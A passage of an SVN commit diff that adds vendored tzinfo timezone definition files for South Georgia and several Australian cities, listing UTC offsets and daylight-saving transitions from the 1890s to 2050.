+          tz.offset :o3, -3600, 0, :CVT
+          
+          tz.transition 1907, 1, :o1, 52219653811, 21600
+          tz.transition 1942, 9, :o2, 29167243, 12
+          tz.transition 1945, 10, :o1, 58361845, 24
+          tz.transition 1975, 11, :o3, 186120000
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Atlantic
+      module South_Georgia
+        include TimezoneDefinition
+        
+        timezone 'Atlantic/South_Georgia' do |tz|
+          tz.offset :o0, -8768, 0, :LMT
+          tz.offset :o1, -7200, 0, :GST
+          
+          tz.transition 1890, 1, :o1, 1627673806, 675
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,187 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Australia
+      module Adelaide
+        include TimezoneDefinition
+        
+        timezone 'Australia/Adelaide' do |tz|
+          tz.offset :o0, 33260, 0, :LMT
+          tz.offset :o1, 32400, 0, :CST
+          tz.offset :o2, 34200, 0, :CST
+          tz.offset :o3, 34200, 3600, :CST
+          
+          tz.transition 1895, 1, :o1, 10425132497, 4320
+          tz.transition 1899, 4, :o2, 19318201, 8
+          tz.transition 1916, 12, :o3, 3486569911, 1440
+          tz.transition 1917, 3, :o2, 116222983, 48
+          tz.transition 1941, 12, :o3, 38885763, 16
+          tz.transition 1942, 3, :o2, 116661463, 48
+          tz.transition 1942, 9, :o3, 38890067, 16
+          tz.transition 1943, 3, :o2, 116678935, 48
+          tz.transition 1943, 10, :o3, 38896003, 16
+          tz.transition 1944, 3, :o2, 116696407, 48
+          tz.transition 1971, 10, :o3, 57688200
+          tz.transition 1972, 2, :o2, 67969800
+          tz.transition 1972, 10, :o3, 89137800
+          tz.transition 1973, 3, :o2, 100024200
+          tz.transition 1973, 10, :o3, 120587400
+          tz.transition 1974, 3, :o2, 131473800
+          tz.transition 1974, 10, :o3, 152037000
+          tz.transition 1975, 3, :o2, 162923400
+          tz.transition 1975, 10, :o3, 183486600
+          tz.transition 1976, 3, :o2, 194977800
+          tz.transition 1976, 10, :o3, 215541000
+          tz.transition 1977, 3, :o2, 226427400
+          tz.transition 1977, 10, :o3, 246990600
+          tz.transition 1978, 3, :o2, 257877000
+          tz.transition 1978, 10, :o3, 278440200
+          tz.transition 1979, 3, :o2, 289326600
+          tz.transition 1979, 10, :o3, 309889800
+          tz.transition 1980, 3, :o2, 320776200
+          tz.transition 1980, 10, :o3, 341339400
+          tz.transition 1981, 2, :o2, 352225800
+          tz.transition 1981, 10, :o3, 372789000
+          tz.transition 1982, 3, :o2, 384280200
+          tz.transition 1982, 10, :o3, 404843400
+          tz.transition 1983, 3, :o2, 415729800
+          tz.transition 1983, 10, :o3, 436293000
+          tz.transition 1984, 3, :o2, 447179400
+          tz.transition 1984, 10, :o3, 467742600
+          tz.transition 1985, 3, :o2, 478629000
+          tz.transition 1985, 10, :o3, 499192200
+          tz.transition 1986, 3, :o2, 511288200
+          tz.transition 1986, 10, :o3, 530037000
+          tz.transition 1987, 3, :o2, 542737800
+          tz.transition 1987, 10, :o3, 562091400
+          tz.transition 1988, 3, :o2, 574792200
+          tz.transition 1988, 10, :o3, 594145800
+          tz.transition 1989, 3, :o2, 606241800
+          tz.transition 1989, 10, :o3, 625595400
+          tz.transition 1990, 3, :o2, 637691400
+          tz.transition 1990, 10, :o3, 657045000
+          tz.transition 1991, 3, :o2, 667931400
+          tz.transition 1991, 10, :o3, 688494600
+          tz.transition 1992, 3, :o2, 701195400
+          tz.transition 1992, 10, :o3, 719944200
+          tz.transition 1993, 3, :o2, 731435400
+          tz.transition 1993, 10, :o3, 751998600
+          tz.transition 1994, 3, :o2, 764094600
+          tz.transition 1994, 10, :o3, 783448200
+          tz.transition 1995, 3, :o2, 796149000
+          tz.transition 1995, 10, :o3, 814897800
+          tz.transition 1996, 3, :o2, 828203400
+          tz.transition 1996, 10, :o3, 846347400
+          tz.transition 1997, 3, :o2, 859653000
+          tz.transition 1997, 10, :o3, 877797000
+          tz.transition 1998, 3, :o2, 891102600
+          tz.transition 1998, 10, :o3, 909246600
+          tz.transition 1999, 3, :o2, 922552200
+          tz.transition 1999, 10, :o3, 941301000
+          tz.transition 2000, 3, :o2, 954001800
+          tz.transition 2000, 10, :o3, 972750600
+          tz.transition 2001, 3, :o2, 985451400
+          tz.transition 2001, 10, :o3, 1004200200
+          tz.transition 2002, 3, :o2, 1017505800
+          tz.transition 2002, 10, :o3, 1035649800
+          tz.transition 2003, 3, :o2, 1048955400
+          tz.transition 2003, 10, :o3, 1067099400
+          tz.transition 2004, 3, :o2, 1080405000
+          tz.transition 2004, 10, :o3, 1099153800
+          tz.transition 2005, 3, :o2, 1111854600
+          tz.transition 2005, 10, :o3, 1130603400
+          tz.transition 2006, 4, :o2, 1143909000
+          tz.transition 2006, 10, :o3, 1162053000
+          tz.transition 2007, 3, :o2, 1174753800
+          tz.transition 2007, 10, :o3, 1193502600
+          tz.transition 2008, 4, :o2, 1207413000
+          tz.transition 2008, 10, :o3, 1223137800
+          tz.transition 2009, 4, :o2, 1238862600
+          tz.transition 2009, 10, :o3, 1254587400
+          tz.transition 2010, 4, :o2, 1270312200
+          tz.transition 2010, 10, :o3, 1286037000
+          tz.transition 2011, 4, :o2, 1301761800
+          tz.transition 2011, 10, :o3, 1317486600
+          tz.transition 2012, 3, :o2, 1333211400
+          tz.transition 2012, 10, :o3, 1349541000
+          tz.transition 2013, 4, :o2, 1365265800
+          tz.transition 2013, 10, :o3, 1380990600
+          tz.transition 2014, 4, :o2, 1396715400
+          tz.transition 2014, 10, :o3, 1412440200
+          tz.transition 2015, 4, :o2, 1428165000
+          tz.transition 2015, 10, :o3, 1443889800
+          tz.transition 2016, 4, :o2, 1459614600
+          tz.transition 2016, 10, :o3, 1475339400
+          tz.transition 2017, 4, :o2, 1491064200
+          tz.transition 2017, 9, :o3, 1506789000
+          tz.transition 2018, 3, :o2, 1522513800
+          tz.transition 2018, 10, :o3, 1538843400
+          tz.transition 2019, 4, :o2, 1554568200
+          tz.transition 2019, 10, :o3, 1570293000
+          tz.transition 2020, 4, :o2, 1586017800
+          tz.transition 2020, 10, :o3, 1601742600
+          tz.transition 2021, 4, :o2, 1617467400
+          tz.transition 2021, 10, :o3, 1633192200
+          tz.transition 2022, 4, :o2, 1648917000
+          tz.transition 2022, 10, :o3, 1664641800
+          tz.transition 2023, 4, :o2, 1680366600
+          tz.transition 2023, 9, :o3, 1696091400
+          tz.transition 2024, 4, :o2, 1712421000
+          tz.transition 2024, 10, :o3, 1728145800
+          tz.transition 2025, 4, :o2, 1743870600
+          tz.transition 2025, 10, :o3, 1759595400
+          tz.transition 2026, 4, :o2, 1775320200
+          tz.transition 2026, 10, :o3, 1791045000
+          tz.transition 2027, 4, :o2, 1806769800
+          tz.transition 2027, 10, :o3, 1822494600
+          tz.transition 2028, 4, :o2, 1838219400
+          tz.transition 2028, 9, :o3, 1853944200
+          tz.transition 2029, 3, :o2, 1869669000
+          tz.transition 2029, 10, :o3, 1885998600
+          tz.transition 2030, 4, :o2, 1901723400
+          tz.transition 2030, 10, :o3, 1917448200
+          tz.transition 2031, 4, :o2, 1933173000
+          tz.transition 2031, 10, :o3, 1948897800
+          tz.transition 2032, 4, :o2, 1964622600
+          tz.transition 2032, 10, :o3, 1980347400
+          tz.transition 2033, 4, :o2, 1996072200
+          tz.transition 2033, 10, :o3, 2011797000
+          tz.transition 2034, 4, :o2, 2027521800
+          tz.transition 2034, 9, :o3, 2043246600
+          tz.transition 2035, 3, :o2, 2058971400
+          tz.transition 2035, 10, :o3, 2075301000
+          tz.transition 2036, 4, :o2, 2091025800
+          tz.transition 2036, 10, :o3, 2106750600
+          tz.transition 2037, 4, :o2, 2122475400
+          tz.transition 2037, 10, :o3, 2138200200
+          tz.transition 2038, 4, :o2, 39448275, 16
+          tz.transition 2038, 10, :o3, 39451187, 16
+          tz.transition 2039, 4, :o2, 39454099, 16
+          tz.transition 2039, 10, :o3, 39457011, 16
+          tz.transition 2040, 3, :o2, 39459923, 16
+          tz.transition 2040, 10, :o3, 39462947, 16
+          tz.transition 2041, 4, :o2, 39465859, 16
+          tz.transition 2041, 10, :o3, 39468771, 16
+          tz.transition 2042, 4, :o2, 39471683, 16
+          tz.transition 2042, 10, :o3, 39474595, 16
+          tz.transition 2043, 4, :o2, 39477507, 16
+          tz.transition 2043, 10, :o3, 39480419, 16
+          tz.transition 2044, 4, :o2, 39483331, 16
+          tz.transition 2044, 10, :o3, 39486243, 16
+          tz.transition 2045, 4, :o2, 39489155, 16
+          tz.transition 2045, 9, :o3, 39492067, 16
+          tz.transition 2046, 3, :o2, 39494979, 16
+          tz.transition 2046, 10, :o3, 39498003, 16
+          tz.transition 2047, 4, :o2, 39500915, 16
+          tz.transition 2047, 10, :o3, 39503827, 16
+          tz.transition 2048, 4, :o2, 39506739, 16
+          tz.transition 2048, 10, :o3, 39509651, 16
+          tz.transition 2049, 4, :o2, 39512563, 16
+          tz.transition 2049, 10, :o3, 39515475, 16
+          tz.transition 2050, 4, :o2, 39518387, 16
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Brisbane.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Australia
+      module Brisbane
+        include TimezoneDefinition
+        
+        timezone 'Australia/Brisbane' do |tz|
+          tz.offset :o0, 36728, 0, :LMT
+          tz.offset :o1, 36000, 0, :EST
+          tz.offset :o2, 36000, 3600, :EST
+          
+          tz.transition 1894, 12, :o1, 26062496009, 10800
+          tz.transition 1916, 12, :o2, 3486569881, 1440
+          tz.transition 1917, 3, :o1, 19370497, 8
+          tz.transition 1941, 12, :o2, 14582161, 6
+          tz.transition 1942, 3, :o1, 19443577, 8
+          tz.transition 1942, 9, :o2, 14583775, 6
+          tz.transition 1943, 3, :o1, 19446489, 8
+          tz.transition 1943, 10, :o2, 14586001, 6
+          tz.transition 1944, 3, :o1, 19449401, 8
+          tz.transition 1971, 10, :o2, 57686400
+          tz.transition 1972, 2, :o1, 67968000
+          tz.transition 1989, 10, :o2, 625593600
+          tz.transition 1990, 3, :o1, 636480000
+          tz.transition 1990, 10, :o2, 657043200
+          tz.transition 1991, 3, :o1, 667929600
+          tz.transition 1991, 10, :o2, 688492800
+          tz.transition 1992, 2, :o1, 699379200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Darwin.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Australia
+      module Darwin
+        include TimezoneDefinition
+        
+        timezone 'Australia/Darwin' do |tz|
+          tz.offset :o0, 31400, 0, :LMT
+          tz.offset :o1, 32400, 0, :CST
+          tz.offset :o2, 34200, 0, :CST
+          tz.offset :o3, 34200, 3600, :CST
+          
+          tz.transition 1895, 1, :o1, 1042513259, 432
+          tz.transition 1899, 4, :o2, 19318201, 8
+          tz.transition 1916, 12, :o3, 3486569911, 1440
+          tz.transition 1917, 3, :o2, 116222983, 48
+          tz.transition 1941, 12, :o3, 38885763, 16
+          tz.transition 1942, 3, :o2, 116661463, 48
+          tz.transition 1942, 9, :o3, 38890067, 16
+          tz.transition 1943, 3, :o2, 116678935, 48
+          tz.transition 1943, 10, :o3, 38896003, 16
+          tz.transition 1944, 3, :o2, 116696407, 48
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Hobart.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,193 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Australia
+      module Hobart
+        include TimezoneDefinition
+        
+        timezone 'Australia/Hobart' do |tz|
+          tz.offset :o0, 35356, 0, :LMT
+          tz.offset :o1, 36000, 0, :EST
+          tz.offset :o2, 36000, 3600, :EST
+          
+          tz.transition 1895, 8, :o1, 52130241161, 21600
+          tz.transition 1916, 9, :o2, 14526823, 6
+          tz.transition 1917, 3, :o1, 19370497, 8
+          tz.transition 1941, 12, :o2, 14582161, 6
+          tz.transition 1942, 3, :o1, 19443577, 8
+          tz.transition 1942, 9, :o2, 14583775, 6
+          tz.transition 1943, 3, :o1, 19446489, 8
+          tz.transition 1943, 10, :o2, 14586001, 6
+          tz.transition 1944, 3, :o1, 19449401, 8
+          tz.transition 1967, 9, :o2, 14638585, 6
+          tz.transition 1968, 3, :o1, 14639677, 6
+          tz.transition 1968, 10, :o2, 14640937, 6
+          tz.transition 1969, 3, :o1, 14641735, 6
+          tz.transition 1969, 10, :o2, 14643121, 6
+          tz.transition 1970, 3, :o1, 5673600
+          tz.transition 1970, 10, :o2, 25632000
+          tz.transition 1971, 3, :o1, 37728000
+          tz.transition 1971, 10, :o2, 57686400
+          tz.transition 1972, 2, :o1, 67968000
+          tz.transition 1972, 10, :o2, 89136000
+          tz.transition 1973, 3, :o1, 100022400
+          tz.transition 1973, 10, :o2, 120585600
+          tz.transition 1974, 3, :o1, 131472000
+          tz.transition 1974, 10, :o2, 152035200
+          tz.transition 1975, 3, :o1, 162921600
+          tz.transition 1975, 10, :o2, 183484800
+          tz.transition 1976, 3, :o1, 194976000
+          tz.transition 1976, 10, :o2, 215539200
+          tz.transition 1977, 3, :o1, 226425600
+          tz.transition 1977, 10, :o2, 246988800
+          tz.transition 1978, 3, :o1, 257875200
+          tz.transition 1978, 10, :o2, 278438400
+          tz.transition 1979, 3, :o1, 289324800
+          tz.transition 1979, 10, :o2, 309888000
+          tz.transition 1980, 3, :o1, 320774400
+          tz.transition 1980, 10, :o2, 341337600
+          tz.transition 1981, 2, :o1, 352224000
+          tz.transition 1981, 10, :o2, 372787200
+          tz.transition 1982, 3, :o1, 386092800
+          tz.transition 1982, 10, :o2, 404841600
+          tz.transition 1983, 3, :o1, 417542400
+          tz.transition 1983, 10, :o2, 436291200
+          tz.transition 1984, 3, :o1, 447177600
+          tz.transition 1984, 10, :o2, 467740800
+          tz.transition 1985, 3, :o1, 478627200
+          tz.transition 1985, 10, :o2, 499190400
+          tz.transition 1986, 3, :o1, 510076800
+          tz.transition 1986, 10, :o2, 530035200
+          tz.transition 1987, 3, :o1, 542736000
+          tz.transition 1987, 10, :o2, 562089600
+          tz.transition 1988, 3, :o1, 574790400
+          tz.transition 1988, 10, :o2, 594144000
+          tz.transition 1989, 3, :o1, 606240000
+          tz.transition 1989, 10, :o2, 625593600
+          tz.transition 1990, 3, :o1, 637689600
+          tz.transition 1990, 10, :o2, 657043200
+          tz.transition 1991, 3, :o1, 670348800
+          tz.transition 1991, 10, :o2, 686678400
+          tz.transition 1992, 3, :o1, 701798400
+          tz.transition 1992, 10, :o2, 718128000
+          tz.transition 1993, 3, :o1, 733248000
+          tz.transition 1993, 10, :o2, 749577600
+          tz.transition 1994, 3, :o1, 764697600
+          tz.transition 1994, 10, :o2, 781027200
+          tz.transition 1995, 3, :o1, 796147200
+          tz.transition 1995, 9, :o2, 812476800
+          tz.transition 1996, 3, :o1, 828201600
+          tz.transition 1996, 10, :o2, 844531200
+          tz.transition 1997, 3, :o1, 859651200
+          tz.transition 1997, 10, :o2, 875980800
+          tz.transition 1998, 3, :o1, 891100800
+          tz.transition 1998, 10, :o2, 907430400
+          tz.transition 1999, 3, :o1, 922550400
+          tz.transition 1999, 10, :o2, 938880000
+          tz.transition 2000, 3, :o1, 954000000
+          tz.transition 2000, 8, :o2, 967305600
+          tz.transition 2001, 3, :o1, 985449600
+          tz.transition 2001, 10, :o2, 1002384000
+          tz.transition 2002, 3, :o1, 1017504000
+          tz.transition 2002, 10, :o2, 1033833600
+          tz.transition 2003, 3, :o1, 1048953600
+          tz.transition 2003, 10, :o2, 1065283200
+          tz.transition 2004, 3, :o1, 1080403200
+          tz.transition 2004, 10, :o2, 1096732800
+          tz.transition 2005, 3, :o1, 1111852800
+          tz.transition 2005, 10, :o2, 1128182400
+          tz.transition 2006, 4, :o1, 1143907200
+          tz.transition 2006, 9, :o2, 1159632000
+          tz.transition 2007, 3, :o1, 1174752000
+          tz.transition 2007, 10, :o2, 1191686400
+          tz.transition 2008, 4, :o1, 1207411200
+          tz.transition 2008, 10, :o2, 1223136000
+          tz.transition 2009, 4, :o1, 1238860800
+          tz.transition 2009, 10, :o2, 1254585600
+          tz.transition 2010, 4, :o1, 1270310400
+          tz.transition 2010, 10, :o2, 1286035200
+          tz.transition 2011, 4, :o1, 1301760000
+          tz.transition 2011, 10, :o2, 1317484800
+          tz.transition 2012, 3, :o1, 1333209600
+          tz.transition 2012, 10, :o2, 1349539200
+          tz.transition 2013, 4, :o1, 1365264000
+          tz.transition 2013, 10, :o2, 1380988800
+          tz.transition 2014, 4, :o1, 1396713600
+          tz.transition 2014, 10, :o2, 1412438400
+          tz.transition 2015, 4, :o1, 1428163200
+          tz.transition 2015, 10, :o2, 1443888000
+          tz.transition 2016, 4, :o1, 1459612800
+          tz.transition 2016, 10, :o2, 1475337600
+          tz.transition 2017, 4, :o1, 1491062400
+          tz.transition 2017, 9, :o2, 1506787200
+          tz.transition 2018, 3, :o1, 1522512000
+          tz.transition 2018, 10, :o2, 1538841600
+          tz.transition 2019, 4, :o1, 1554566400
+          tz.transition 2019, 10, :o2, 1570291200
+          tz.transition 2020, 4, :o1, 1586016000
+          tz.transition 2020, 10, :o2, 1601740800
+          tz.transition 2021, 4, :o1, 1617465600
+          tz.transition 2021, 10, :o2, 1633190400
+          tz.transition 2022, 4, :o1, 1648915200
+          tz.transition 2022, 10, :o2, 1664640000
+          tz.transition 2023, 4, :o1, 1680364800
+          tz.transition 2023, 9, :o2, 1696089600
+          tz.transition 2024, 4, :o1, 1712419200
+          tz.transition 2024, 10, :o2, 1728144000
+          tz.transition 2025, 4, :o1, 1743868800
+          tz.transition 2025, 10, :o2, 1759593600
+          tz.transition 2026, 4, :o1, 1775318400
+          tz.transition 2026, 10, :o2, 1791043200
+          tz.transition 2027, 4, :o1, 1806768000
+          tz.transition 2027, 10, :o2, 1822492800
+          tz.transition 2028, 4, :o1, 1838217600
+          tz.transition 2028, 9, :o2, 1853942400
+          tz.transition 2029, 3, :o1, 1869667200
+          tz.transition 2029, 10, :o2, 1885996800
+          tz.transition 2030, 4, :o1, 1901721600
+          tz.transition 2030, 10, :o2, 1917446400
+          tz.transition 2031, 4, :o1, 1933171200
+          tz.transition 2031, 10, :o2, 1948896000
+          tz.transition 2032, 4, :o1, 1964620800
+          tz.transition 2032, 10, :o2, 1980345600
+          tz.transition 2033, 4, :o1, 1996070400
+          tz.transition 2033, 10, :o2, 2011795200
+          tz.transition 2034, 4, :o1, 2027520000
+          tz.transition 2034, 9, :o2, 2043244800
+          tz.transition 2035, 3, :o1, 2058969600
+          tz.transition 2035, 10, :o2, 2075299200
+          tz.transition 2036, 4, :o1, 2091024000
+          tz.transition 2036, 10, :o2, 2106748800
+          tz.transition 2037, 4, :o1, 2122473600
+          tz.transition 2037, 10, :o2, 2138198400
+          tz.transition 2038, 4, :o1, 14793103, 6
+          tz.transition 2038, 10, :o2, 14794195, 6
+          tz.transition 2039, 4, :o1, 14795287, 6
+          tz.transition 2039, 10, :o2, 14796379, 6
+          tz.transition 2040, 3, :o1, 14797471, 6
+          tz.transition 2040, 10, :o2, 14798605, 6
+          tz.transition 2041, 4, :o1, 14799697, 6
+          tz.transition 2041, 10, :o2, 14800789, 6
+          tz.transition 2042, 4, :o1, 14801881, 6
+          tz.transition 2042, 10, :o2, 14802973, 6
+          tz.transition 2043, 4, :o1, 14804065, 6
+          tz.transition 2043, 10, :o2, 14805157, 6
+          tz.transition 2044, 4, :o1, 14806249, 6
+          tz.transition 2044, 10, :o2, 14807341, 6
+          tz.transition 2045, 4, :o1, 14808433, 6
+          tz.transition 2045, 9, :o2, 14809525, 6
+          tz.transition 2046, 3, :o1, 14810617, 6
+          tz.transition 2046, 10, :o2, 14811751, 6
+          tz.transition 2047, 4, :o1, 14812843, 6
+          tz.transition 2047, 10, :o2, 14813935, 6
+          tz.transition 2048, 4, :o1, 14815027, 6
+          tz.transition 2048, 10, :o2, 14816119, 6
+          tz.transition 2049, 4, :o1, 14817211, 6
+          tz.transition 2049, 10, :o2, 14818303, 6
+          tz.transition 2050, 4, :o1, 14819395, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Melbourne.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,185 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Australia
+      module Melbourne
+        include TimezoneDefinition
+        
+        timezone 'Australia/Melbourne' do |tz|
+          tz.offset :o0, 34792, 0, :LMT
+          tz.offset :o1, 36000, 0, :EST
+          tz.offset :o2, 36000, 3600, :EST
+          
+          tz.transition 1895, 1, :o1, 26062831051, 10800
+          tz.transition 1916, 12, :o2, 3486569881, 1440
+          tz.transition 1917, 3, :o1, 19370497, 8
+          tz.transition 1941, 12, :o2, 14582161, 6
+          tz.transition 1942, 3, :o1, 19443577, 8
+          tz.transition 1942, 9, :o2, 14583775, 6
+          tz.transition 1943, 3, :o1, 19446489, 8
+          tz.transition 1943, 10, :o2, 14586001, 6
+          tz.transition 1944, 3, :o1, 19449401, 8
+          tz.transition 1971, 10, :o2, 57686400
+          tz.transition 1972, 2, :o1, 67968000
+          tz.transition 1972, 10, :o2, 89136000
+          tz.transition 1973, 3, :o1, 100022400
+          tz.transition 1973, 10, :o2, 120585600
+          tz.transition 1974, 3, :o1, 131472000
+          tz.transition 1974, 10, :o2, 152035200
+          tz.transition 1975, 3, :o1, 162921600
+          tz.transition 1975, 10, :o2, 183484800
+          tz.transition 1976, 3, :o1, 194976000
+          tz.transition 1976, 10, :o2, 215539200
+          tz.transition 1977, 3, :o1, 226425600
+          tz.transition 1977, 10, :o2, 246988800
+          tz.transition 1978, 3, :o1, 257875200
+          tz.transition 1978, 10, :o2, 278438400
+          tz.transition 1979, 3, :o1, 289324800
+          tz.transition 1979, 10, :o2, 309888000
+          tz.transition 1980, 3, :o1, 320774400
+          tz.transition 1980, 10, :o2, 341337600
+          tz.transition 1981, 2, :o1, 352224000
+          tz.transition 1981, 10, :o2, 372787200
+          tz.transition 1982, 3, :o1, 384278400
+          tz.transition 1982, 10, :o2, 404841600
+          tz.transition 1983, 3, :o1, 415728000
+          tz.transition 1983, 10, :o2, 436291200
+          tz.transition 1984, 3, :o1, 447177600
+          tz.transition 1984, 10, :o2, 467740800
+          tz.transition 1985, 3, :o1, 478627200
+          tz.transition 1985, 10, :o2, 499190400
+          tz.transition 1986, 3, :o1, 511286400
+          tz.transition 1986, 10, :o2, 530035200
+          tz.transition 1987, 3, :o1, 542736000
+          tz.transition 1987, 10, :o2, 561484800
+          tz.transition 1988, 3, :o1, 574790400
+          tz.transition 1988, 10, :o2, 594144000
+          tz.transition 1989, 3, :o1, 606240000
+          tz.transition 1989, 10, :o2, 625593600
+          tz.transition 1990, 3, :o1, 637689600
+          tz.transition 1990, 10, :o2, 657043200
+          tz.transition 1991, 3, :o1, 667929600
+          tz.transition 1991, 10, :o2, 688492800
+          tz.transition 1992, 2, :o1, 699379200
+          tz.transition 1992, 10, :o2, 719942400
+          tz.transition 1993, 3, :o1, 731433600
+          tz.transition 1993, 10, :o2, 751996800
+          tz.transition 1994, 3, :o1, 762883200
+          tz.transition 1994, 10, :o2, 783446400
+          tz.transition 1995, 3, :o1, 796147200
+          tz.transition 1995, 10, :o2, 814896000
+          tz.transition 1996, 3, :o1, 828201600
+          tz.transition 1996, 10, :o2, 846345600
+          tz.transition 1997, 3, :o1, 859651200
+          tz.transition 1997, 10, :o2, 877795200
+          tz.transition 1998, 3, :o1, 891100800
+          tz.transition 1998, 10, :o2, 909244800
+          tz.transition 1999, 3, :o1, 922550400
+          tz.transition 1999, 10, :o2, 941299200
+          tz.transition 2000, 3, :o1, 954000000
+          tz.transition 2000, 8, :o2, 967305600
+          tz.transition 2001, 3, :o1, 985449600
+          tz.transition 2001, 10, :o2, 1004198400
+          tz.transition 2002, 3, :o1, 1017504000
+          tz.transition 2002, 10, :o2, 1035648000
+          tz.transition 2003, 3, :o1, 1048953600
+          tz.transition 2003, 10, :o2, 1067097600
+          tz.transition 2004, 3, :o1, 1080403200
+          tz.transition 2004, 10, :o2, 1099152000
+          tz.transition 2005, 3, :o1, 1111852800
+          tz.transition 2005, 10, :o2, 1130601600
+          tz.transition 2006, 4, :o1, 1143907200
+          tz.transition 2006, 10, :o2, 1162051200
+          tz.transition 2007, 3, :o1, 1174752000
+          tz.transition 2007, 10, :o2, 1193500800
+          tz.transition 2008, 4, :o1, 1207411200
+          tz.transition 2008, 10, :o2, 1223136000
+          tz.transition 2009, 4, :o1, 1238860800
+          tz.transition 2009, 10, :o2, 1254585600
+          tz.transition 2010, 4, :o1, 1270310400
+          tz.transition 2010, 10, :o2, 1286035200
+          tz.transition 2011, 4, :o1, 1301760000
+          tz.transition 2011, 10, :o2, 1317484800
+          tz.transition 2012, 3, :o1, 1333209600
+          tz.transition 2012, 10, :o2, 1349539200
+          tz.transition 2013, 4, :o1, 1365264000
+          tz.transition 2013, 10, :o2, 1380988800
+          tz.transition 2014, 4, :o1, 1396713600
+          tz.transition 2014, 10, :o2, 1412438400
+          tz.transition 2015, 4, :o1, 1428163200
+          tz.transition 2015, 10, :o2, 1443888000
+          tz.transition 2016, 4, :o1, 1459612800
+          tz.transition 2016, 10, :o2, 1475337600
+          tz.transition 2017, 4, :o1, 1491062400
+          tz.transition 2017, 9, :o2, 1506787200
+          tz.transition 2018, 3, :o1, 1522512000
+          tz.transition 2018, 10, :o2, 1538841600
+          tz.transition 2019, 4, :o1, 1554566400
+          tz.transition 2019, 10, :o2, 1570291200
+          tz.transition 2020, 4, :o1, 1586016000
+          tz.transition 2020, 10, :o2, 1601740800
+          tz.transition 2021, 4, :o1, 1617465600
+          tz.transition 2021, 10, :o2, 1633190400
+          tz.transition 2022, 4, :o1, 1648915200
+          tz.transition 2022, 10, :o2, 1664640000
+          tz.transition 2023, 4, :o1, 1680364800
+          tz.transition 2023, 9, :o2, 1696089600
+          tz.transition 2024, 4, :o1, 1712419200
+          tz.transition 2024, 10, :o2, 1728144000
+          tz.transition 2025, 4, :o1, 1743868800
+          tz.transition 2025, 10, :o2, 1759593600
+          tz.transition 2026, 4, :o1, 1775318400
